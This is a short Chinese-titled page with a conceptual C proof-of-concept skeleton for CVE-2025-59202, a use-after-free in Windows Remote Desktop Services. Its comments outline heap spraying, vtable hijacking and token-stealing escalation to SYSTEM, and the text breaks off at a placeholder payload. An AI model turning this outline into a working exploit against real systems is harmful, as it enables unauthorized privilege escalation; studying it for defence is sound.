CVE-2025-59202 Windows远程桌面服务释放后使用漏洞

// CVE-2025-59202 - Windows RDS Use After Free PoC (Conceptual) // This is a conceptual PoC demonstrating the exploitation approach // for the Use After Free vulnerability in Windows Remote Desktop Services. // Requires local low-privilege access to the target system. #include <windows.h> #include <stdio.h> // Conceptual structure representing RDS session object layout typedef struct _RDS_SESSION_OBJ { DWORD magic; DWORD refCount; PVOID virtualTable; // Virtual function table pointer (target for hijacking) PVOID sessionData; // ... other internal fields } RDS_SESSION_OBJ, *PRDS_SESSION_OBJ; /* * Exploitation Steps: * 1. Create multiple RDP sessions to populate heap with session objects * 2. Trigger session termination to free a session object (creating dangling pointer) * 3. Spray heap to reclaim freed memory with attacker-controlled data * 4. Access the dangling pointer to trigger UAF and hijack vtable * 5. Redirect execution to privilege escalation payload (e.g., token stealing shellcode) */ // Conceptual payload - token stealing shellcode skeleton // In real exploitation, this would be position-independent shellcode // that calls NtAdjustPrivilegesToken or directly modifies EPROCESS token __declspec(noinline) void EscalateToSystem() { // Token stealing shellcode placeholder // 1.
